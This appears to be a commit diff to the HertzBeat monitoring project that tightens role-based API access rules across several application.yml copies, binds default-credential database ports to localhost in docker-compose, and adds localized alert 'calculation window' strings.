⚠️注意 `application.yml` 文件内容需完整,除下方修改内容外其他参数需保留,完整内容见[/script/application.yml](https://raw.githubusercontent.com/apache/hertzbeat/master/script/application.yml)
|
||||
|
||||
```yaml
|
||||
spring:
|
||||
|
||||
@@ -22,10 +22,16 @@
|
||||
resourceRole:
|
||||
- /api/account/auth/refresh===post===[admin,user,guest]
|
||||
- /api/apps/**===get===[admin,user,guest]
|
||||
# the define yml routes persist the global collection templates
|
||||
# post can only add a new type, put overwrites an existing one and immediately
|
||||
# redispatches its collect job to every monitor already using it - hence admin only
|
||||
- /api/apps/**===post===[admin,user]
|
||||
- /api/apps/**===put===[admin]
|
||||
- /api/apps/**===delete===[admin]
|
||||
- /api/monitor/**===get===[admin,user,guest]
|
||||
- /api/monitor/**===post===[admin,user]
|
||||
- /api/monitor/**===put===[admin,user]
|
||||
- /api/monitor/**===delete==[admin]
|
||||
- /api/monitor/**===delete===[admin]
|
||||
- /api/monitors/**===get===[admin,user,guest]
|
||||
- /api/monitors/**===post===[admin,user]
|
||||
- /api/monitors/**===put===[admin,user]
|
||||
@@ -54,6 +60,16 @@ resourceRole:
|
||||
- /api/collector/**===post===[admin,user]
|
||||
- /api/collector/**===put===[admin,user]
|
||||
- /api/collector/**===delete===[admin]
|
||||
# the secret config holds the jwt signing key and the aes key protecting stored
|
||||
# credentials, so it stays admin only and is additionally refused by the controller
|
||||
- /api/config/secret===get===[admin]
|
||||
- /api/config/secret===post===[admin]
|
||||
# the mute toggle sits in the notification widget every signed in user sees
|
||||
- /api/config/mute===post===[admin,user,guest]
|
||||
- /api/config/**===get===[admin,user,guest]
|
||||
- /api/config/**===post===[admin]
|
||||
- /api/config/**===put===[admin]
|
||||
- /api/config/**===delete===[admin]
|
||||
- /api/status/page/**===get===[admin,user,guest]
|
||||
- /api/status/page/**===post===[admin,user]
|
||||
- /api/status/page/**===put===[admin,user]
|
||||
@@ -70,8 +86,14 @@ resourceRole:
|
||||
- /api/mcp/**===post===[admin]
|
||||
- /api/chat/**===get===[admin,user]
|
||||
- /api/chat/**===post===[admin]
|
||||
- /api/ai/**===get===[admin]
|
||||
- /api/ai/**===post===[admin]
|
||||
- /api/ai/**===put===[admin]
|
||||
- /api/ai/**===delete===[admin]
|
||||
- /api/logs/sse/**===get===[admin,user,guest]
|
||||
- /api/logs/ingest/**===post===[admin,user]
|
||||
# spring boot actuator exposes jvm, http and datasource internals for scraping
|
||||
- /actuator/**===get===[admin]
|
||||
|
||||
# config the resource restful api that need bypass auth protection
|
||||
# rule: api===method
|
||||
|
||||
@@ -22,10 +22,16 @@
|
||||
resourceRole:
|
||||
- /api/account/auth/refresh===post===[admin,user,guest]
|
||||
- /api/apps/**===get===[admin,user,guest]
|
||||
# the define yml routes persist the global collection templates
|
||||
# post can only add a new type, put overwrites an existing one and immediately
|
||||
# redispatches its collect job to every monitor already using it - hence admin only
|
||||
- /api/apps/**===post===[admin,user]
|
||||
- /api/apps/**===put===[admin]
|
||||
- /api/apps/**===delete===[admin]
|
||||
- /api/monitor/**===get===[admin,user,guest]
|
||||
- /api/monitor/**===post===[admin,user]
|
||||
- /api/monitor/**===put===[admin,user]
|
||||
- /api/monitor/**===delete==[admin]
|
||||
- /api/monitor/**===delete===[admin]
|
||||
- /api/monitors/**===get===[admin,user,guest]
|
||||
- /api/monitors/**===post===[admin,user]
|
||||
- /api/monitors/**===put===[admin,user]
|
||||
@@ -54,6 +60,16 @@ resourceRole:
|
||||
- /api/collector/**===post===[admin,user]
|
||||
- /api/collector/**===put===[admin,user]
|
||||
- /api/collector/**===delete===[admin]
|
||||
# the secret config holds the jwt signing key and the aes key protecting stored
|
||||
# credentials, so it stays admin only and is additionally refused by the controller
|
||||
- /api/config/secret===get===[admin]
|
||||
- /api/config/secret===post===[admin]
|
||||
# the mute toggle sits in the notification widget every signed in user sees
|
||||
- /api/config/mute===post===[admin,user,guest]
|
||||
- /api/config/**===get===[admin,user,guest]
|
||||
- /api/config/**===post===[admin]
|
||||
- /api/config/**===put===[admin]
|
||||
- /api/config/**===delete===[admin]
|
||||
- /api/status/page/**===get===[admin,user,guest]
|
||||
- /api/status/page/**===post===[admin,user]
|
||||
- /api/status/page/**===put===[admin,user]
|
||||
@@ -70,8 +86,14 @@ resourceRole:
|
||||
- /api/mcp/**===post===[admin]
|
||||
- /api/chat/**===get===[admin,user]
|
||||
- /api/chat/**===post===[admin]
|
||||
- /api/ai/**===get===[admin]
|
||||
- /api/ai/**===post===[admin]
|
||||
- /api/ai/**===put===[admin]
|
||||
- /api/ai/**===delete===[admin]
|
||||
- /api/logs/sse/**===get===[admin,user,guest]
|
||||
- /api/logs/ingest/**===post===[admin,user]
|
||||
# spring boot actuator exposes jvm, http and datasource internals for scraping
|
||||
- /actuator/**===get===[admin]
|
||||
|
||||
# config the resource restful api that need bypass auth protection
|
||||
# rule: api===method
|
||||
|
||||
@@ -22,10 +22,16 @@
|
||||
resourceRole:
|
||||
- /api/account/auth/refresh===post===[admin,user,guest]
|
||||
- /api/apps/**===get===[admin,user,guest]
|
||||
# the define yml routes persist the global collection templates
|
||||
# post can only add a new type, put overwrites an existing one and immediately
|
||||
# redispatches its collect job to every monitor already using it - hence admin only
|
||||
- /api/apps/**===post===[admin,user]
|
||||
- /api/apps/**===put===[admin]
|
||||
- /api/apps/**===delete===[admin]
|
||||
- /api/monitor/**===get===[admin,user,guest]
|
||||
- /api/monitor/**===post===[admin,user]
|
||||
- /api/monitor/**===put===[admin,user]
|
||||
- /api/monitor/**===delete==[admin]
|
||||
- /api/monitor/**===delete===[admin]
|
||||
- /api/monitors/**===get===[admin,user,guest]
|
||||
- /api/monitors/**===post===[admin,user]
|
||||
- /api/monitors/**===put===[admin,user]
|
||||
@@ -54,6 +60,16 @@ resourceRole:
|
||||
- /api/collector/**===post===[admin,user]
|
||||
- /api/collector/**===put===[admin,user]
|
||||
- /api/collector/**===delete===[admin]
|
||||
# the secret config holds the jwt signing key and the aes key protecting stored
|
||||
# credentials, so it stays admin only and is additionally refused by the controller
|
||||
- /api/config/secret===get===[admin]
|
||||
- /api/config/secret===post===[admin]
|
||||
# the mute toggle sits in the notification widget every signed in user sees
|
||||
- /api/config/mute===post===[admin,user,guest]
|
||||
- /api/config/**===get===[admin,user,guest]
|
||||
- /api/config/**===post===[admin]
|
||||
- /api/config/**===put===[admin]
|
||||
- /api/config/**===delete===[admin]
|
||||
- /api/status/page/**===get===[admin,user,guest]
|
||||
- /api/status/page/**===post===[admin,user]
|
||||
- /api/status/page/**===put===[admin,user]
|
||||
@@ -70,8 +86,14 @@ resourceRole:
|
||||
- /api/mcp/**===post===[admin]
|
||||
- /api/chat/**===get===[admin,user]
|
||||
- /api/chat/**===post===[admin]
|
||||
- /api/ai/**===get===[admin]
|
||||
- /api/ai/**===post===[admin]
|
||||
- /api/ai/**===put===[admin]
|
||||
- /api/ai/**===delete===[admin]
|
||||
- /api/logs/sse/**===get===[admin,user,guest]
|
||||
- /api/logs/ingest/**===post===[admin,user]
|
||||
# spring boot actuator exposes jvm, http and datasource internals for scraping
|
||||
- /actuator/**===get===[admin]
|
||||
|
||||
# config the resource restful api that need bypass auth protection
|
||||
# rule: api===method
|
||||
|
||||
@@ -22,10 +22,16 @@
|
||||
resourceRole:
|
||||
- /api/account/auth/refresh===post===[admin,user,guest]
|
||||
- /api/apps/**===get===[admin,user,guest]
|
||||
# the define yml routes persist the global collection templates
|
||||
# post can only add a new type, put overwrites an existing one and immediately
|
||||
# redispatches its collect job to every monitor already using it - hence admin only
|
||||
- /api/apps/**===post===[admin,user]
|
||||
- /api/apps/**===put===[admin]
|
||||
- /api/apps/**===delete===[admin]
|
||||
- /api/monitor/**===get===[admin,user,guest]
|
||||
- /api/monitor/**===post===[admin,user]
|
||||
- /api/monitor/**===put===[admin,user]
|
||||
- /api/monitor/**===delete==[admin]
|
||||
- /api/monitor/**===delete===[admin]
|
||||
- /api/monitors/**===get===[admin,user,guest]
|
||||
- /api/monitors/**===post===[admin,user]
|
||||
- /api/monitors/**===put===[admin,user]
|
||||
@@ -54,6 +60,16 @@ resourceRole:
|
||||
- /api/collector/**===post===[admin,user]
|
||||
- /api/collector/**===put===[admin,user]
|
||||
- /api/collector/**===delete===[admin]
|
||||
# the secret config holds the jwt signing key and the aes key protecting stored
|
||||
# credentials, so it stays admin only and is additionally refused by the controller
|
||||
- /api/config/secret===get===[admin]
|
||||
- /api/config/secret===post===[admin]
|
||||
# the mute toggle sits in the notification widget every signed in user sees
|
||||
- /api/config/mute===post===[admin,user,guest]
|
||||
- /api/config/**===get===[admin,user,guest]
|
||||
- /api/config/**===post===[admin]
|
||||
- /api/config/**===put===[admin]
|
||||
- /api/config/**===delete===[admin]
|
||||
- /api/status/page/**===get===[admin,user,guest]
|
||||
- /api/status/page/**===post===[admin,user]
|
||||
- /api/status/page/**===put===[admin,user]
|
||||
@@ -70,12 +86,18 @@ resourceRole:
|
||||
- /api/mcp/**===post===[admin]
|
||||
- /api/chat/**===get===[admin,user]
|
||||
- /api/chat/**===post===[admin]
|
||||
- /api/ai/**===get===[admin]
|
||||
- /api/ai/**===post===[admin]
|
||||
- /api/ai/**===put===[admin]
|
||||
- /api/ai/**===delete===[admin]
|
||||
- /api/logs/sse/**===get===[admin,user,guest]
|
||||
- /api/logs/ingest/**===post===[admin,user]
|
||||
- /api/otlp/**===post===[admin,user]
|
||||
- /api/ingestion/otlp/**===get===[admin,user,guest]
|
||||
- /api/logs/**===get===[admin,user,guest]
|
||||
- /api/traces/**===get===[admin,user,guest]
|
||||
# spring boot actuator exposes jvm, http and datasource internals for scraping
|
||||
- /actuator/**===get===[admin]
|
||||
|
||||
# config the resource restful api that need bypass auth protection
|
||||
# rule: api===method
|
||||
|
||||
@@ -32,8 +32,11 @@ services:
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 30s
|
||||
# Bind data-store ports to localhost only: these services carry default
|
||||
# credentials (see POSTGRES_PASSWORD / the greptime static user provider)
|
||||
# and are only meant for the operator on the host, not for remote access.
|
||||
ports:
|
||||
- '15432:5432'
|
||||
- '127.0.0.1:15432:5432'
|
||||
environment:
|
||||
POSTGRES_USER: root
|
||||
POSTGRES_PASSWORD: 123456
|
||||
@@ -58,11 +61,14 @@ services:
|
||||
start_period: 30s
|
||||
environment:
|
||||
TZ: Asia/Shanghai
|
||||
# Bind data-store ports to localhost only: these services use the default
|
||||
# static user provider (greptime=greptime) and are only meant for the
|
||||
# operator on the host, not for remote access.
|
||||
ports:
|
||||
- "14000:4000"
|
||||
- "14001:4001"
|
||||
- "14002:4002"
|
||||
- "14003:4003"
|
||||
- "127.0.0.1:14000:4000"
|
||||
- "127.0.0.1:14001:4001"
|
||||
- "127.0.0.1:14002:4002"
|
||||
- "127.0.0.1:14003:4003"
|
||||
volumes:
|
||||
- greptime-tsdb-data:/greptimedb_data
|
||||
command:
|
||||
|
||||
@@ -22,10 +22,16 @@
|
||||
resourceRole:
|
||||
- /api/account/auth/refresh===post===[admin,user,guest]
|
||||
- /api/apps/**===get===[admin,user,guest]
|
||||
# the define yml routes persist the global collection templates
|
||||
# post can only add a new type, put overwrites an existing one and immediately
|
||||
# redispatches its collect job to every monitor already using it - hence admin only
|
||||
- /api/apps/**===post===[admin,user]
|
||||
- /api/apps/**===put===[admin]
|
||||
- /api/apps/**===delete===[admin]
|
||||
- /api/monitor/**===get===[admin,user,guest]
|
||||
- /api/monitor/**===post===[admin,user]
|
||||
- /api/monitor/**===put===[admin,user]
|
||||
- /api/monitor/**===delete==[admin]
|
||||
- /api/monitor/**===delete===[admin]
|
||||
- /api/monitors/**===get===[admin,user,guest]
|
||||
- /api/monitors/**===post===[admin,user]
|
||||
- /api/monitors/**===put===[admin,user]
|
||||
@@ -54,6 +60,16 @@ resourceRole:
|
||||
- /api/collector/**===post===[admin,user]
|
||||
- /api/collector/**===put===[admin,user]
|
||||
- /api/collector/**===delete===[admin]
|
||||
# the secret config holds the jwt signing key and the aes key protecting stored
|
||||
# credentials, so it stays admin only and is additionally refused by the controller
|
||||
- /api/config/secret===get===[admin]
|
||||
- /api/config/secret===post===[admin]
|
||||
# the mute toggle sits in the notification widget every signed in user sees
|
||||
- /api/config/mute===post===[admin,user,guest]
|
||||
- /api/config/**===get===[admin,user,guest]
|
||||
- /api/config/**===post===[admin]
|
||||
- /api/config/**===put===[admin]
|
||||
- /api/config/**===delete===[admin]
|
||||
- /api/status/page/**===get===[admin,user,guest]
|
||||
- /api/status/page/**===post===[admin,user]
|
||||
- /api/status/page/**===put===[admin,user]
|
||||
@@ -70,8 +86,14 @@ resourceRole:
|
||||
- /api/mcp/**===post===[admin]
|
||||
- /api/chat/**===get===[admin,user]
|
||||
- /api/chat/**===post===[admin]
|
||||
- /api/ai/**===get===[admin]
|
||||
- /api/ai/**===post===[admin]
|
||||
- /api/ai/**===put===[admin]
|
||||
- /api/ai/**===delete===[admin]
|
||||
- /api/logs/sse/**===get===[admin,user,guest]
|
||||
- /api/logs/ingest/**===post===[admin,user]
|
||||
# spring boot actuator exposes jvm, http and datasource internals for scraping
|
||||
- /actuator/**===get===[admin]
|
||||
|
||||
# config the resource restful api that need bypass auth protection
|
||||
# rule: api===method
|
||||
|
||||
@@ -22,6 +22,12 @@
|
||||
resourceRole:
|
||||
- /api/account/auth/refresh===post===[admin,user,guest]
|
||||
- /api/apps/**===get===[admin,user,guest]
|
||||
# the define yml routes persist the global collection templates
|
||||
# post can only add a new type, put overwrites an existing one and immediately
|
||||
# redispatches its collect job to every monitor already using it - hence admin only
|
||||
- /api/apps/**===post===[admin,user]
|
||||
- /api/apps/**===put===[admin]
|
||||
- /api/apps/**===delete===[admin]
|
||||
- /api/monitor/**===get===[admin,user,guest]
|
||||
- /api/monitor/**===post===[admin,user]
|
||||
- /api/monitor/**===put===[admin,user]
|
||||
@@ -54,6 +60,16 @@ resourceRole:
|
||||
- /api/collector/**===post===[admin,user]
|
||||
- /api/collector/**===put===[admin,user]
|
||||
- /api/collector/**===delete===[admin]
|
||||
# the secret config holds the jwt signing key and the aes key protecting stored
|
||||
# credentials, so it stays admin only and is additionally refused by the controller
|
||||
- /api/config/secret===get===[admin]
|
||||
- /api/config/secret===post===[admin]
|
||||
# the mute toggle sits in the notification widget every signed in user sees
|
||||
- /api/config/mute===post===[admin,user,guest]
|
||||
- /api/config/**===get===[admin,user,guest]
|
||||
- /api/config/**===post===[admin]
|
||||
- /api/config/**===put===[admin]
|
||||
- /api/config/**===delete===[admin]
|
||||
- /api/status/page/**===get===[admin,user,guest]
|
||||
- /api/status/page/**===post===[admin,user]
|
||||
- /api/status/page/**===put===[admin,user]
|
||||
@@ -70,12 +86,18 @@ resourceRole:
|
||||
- /api/mcp/**===post===[admin]
|
||||
- /api/chat/**===get===[admin,user]
|
||||
- /api/chat/**===post===[admin]
|
||||
- /api/ai/**===get===[admin]
|
||||
- /api/ai/**===post===[admin]
|
||||
- /api/ai/**===put===[admin]
|
||||
- /api/ai/**===delete===[admin]
|
||||
- /api/logs/sse/**===get===[admin,user,guest]
|
||||
- /api/logs/ingest/**===post===[admin,user]
|
||||
- /api/otlp/**===post===[admin,user]
|
||||
- /api/ingestion/otlp/**===get===[admin,user,guest]
|
||||
- /api/logs/**===get===[admin,user,guest]
|
||||
- /api/traces/**===get===[admin,user,guest]
|
||||
# spring boot actuator exposes jvm, http and datasource internals for scraping
|
||||
- /actuator/**===get===[admin]
|
||||
|
||||
# config the resource restful api that need bypass auth protection
|
||||
# rule: api===method
|
||||
|
||||
@@ -301,6 +301,9 @@
|
||||
"alert.setting.period": "Execution Period",
|
||||
"alert.setting.period.placeholder": "Please enter execution period, minimum 60 seconds",
|
||||
"alert.setting.period.tip": "Time interval for periodic threshold calculation, in seconds, minimum 60 seconds",
|
||||
"alert.setting.window": "Calculation Window",
|
||||
"alert.setting.window.placeholder": "Please enter calculation window time",
|
||||
"alert.setting.window.tip": "Time window for real-time threshold calculation, in seconds",
|
||||
"alert.setting.preview.expr": "Preview Expr",
|
||||
"alert.setting.priority.tip": "The alarm level that triggers the threshold, from low to high:Warning,Critical,Emergency",
|
||||
"alert.setting.promql.tip": "PromQL Query: sum(rate(process_cpu_seconds_total[5m])) > 0.8",
|
||||
|
||||
@@ -285,6 +285,9 @@
|
||||
"alert.setting.period": "実行期間",
|
||||
"alert.setting.period.placeholder": "実行期間を入力してください。最小60秒",
|
||||
"alert.setting.period.tip": "周期的な閾値計算の時間間隔(秒単位)、最小60秒",
|
||||
"alert.setting.window": "計算ウィンドウ",
|
||||
"alert.setting.window.placeholder": "計算ウィンドウ時間を入力してください",
|
||||
"alert.setting.window.tip": "リアルタイム閾値計算のウィンドウ時間(秒単位)",
|
||||
"alert.setting.preview.expr": "式をプレビュー",
|
||||
"alert.setting.priority.tip": "閾値をトリガーするアラームレベル。低から高へ:警告、クリティカル、緊急",
|
||||
"alert.setting.promql.tip": "PromQLクエリ:sum(rate(process_cpu_seconds_total[5m])) > 0.8",
|
||||
|
||||
@@ -301,6 +301,9 @@
|
||||
"alert.setting.period": "실행 주기",
|
||||
"alert.setting.period.placeholder": "실행 주기를 입력하세요. 최소 60초입니다",
|
||||
"alert.setting.period.tip": "주기적 임계값 계산 시간 간격(초)으로, 최소 60초입니다",
|
||||
"alert.setting.window": "계산 윈도우",
|
||||
"alert.setting.window.placeholder": "계산 윈도우 시간을 입력하세요",
|
||||
"alert.setting.window.tip": "실시간 임계값 계산 윈도우 시간(초)입니다",
|
||||
"alert.setting.preview.expr": "표현식 미리보기",
|
||||
"alert.setting.priority.tip": "임계값 발생 시의 알람 등급으로, 낮은 순서부터 경고, 심각, 긴급입니다",
|
||||
"alert.setting.promql.tip": "PromQL 쿼리: sum(rate(process_cpu_seconds_total[5m])) > 0.8",
|
||||
|
||||
@@ -271,6 +271,9 @@
|
||||
"alert.setting.name.tip": "O nome da regra de limite precisa ser exclusivo",
|
||||
"alert.setting.period": "Ciclo de execução",
|
||||
"alert.setting.period.placeholder": "Insira o período de execução, mínimo de 60 segundos",
|
||||
"alert.setting.window": "Janela de cálculo",
|
||||
"alert.setting.window.placeholder": "Insira o tempo da janela de cálculo",
|
||||
"alert.setting.window.tip": "Janela de tempo para cálculo de limite em tempo real, em segundos",
|
||||
"alert.setting.bind.available": "Monitoramento opcional",
|
||||
"alert.setting.bind.manage": "Monitoramento relacionado",
|
||||
"alert.setting.bind.monitors": "Monitoramento relacionado",
|
||||
|
||||
@@ -280,6 +280,9 @@
|
||||
"alert.setting.period": "執行週期",
|
||||
"alert.setting.period.placeholder": "請輸入執行週期,最小60秒",
|
||||
"alert.setting.period.tip": "週期性執行閾值計算的時間間隔,單位秒,最小60秒",
|
||||
"alert.setting.window": "計算窗口",
|
||||
"alert.setting.window.placeholder": "請輸入計算窗口時間",
|
||||
"alert.setting.window.tip": "即時閾值計算的窗口時間,單位秒",
|
||||
"alert.setting.preview.expr": "表达式预览",
|
||||
"alert.setting.priority.tip": "觸發阈值的告警級別,從低到高依次爲:警告-warning,嚴重-critical,緊急-emergency",
|
||||
"alert.setting.promql.tip": "PromQL查询语句: sum(rate(process_cpu_seconds_total[5m])) > 0.8",
|
||||
|
||||
Reference in New Issue
Block a user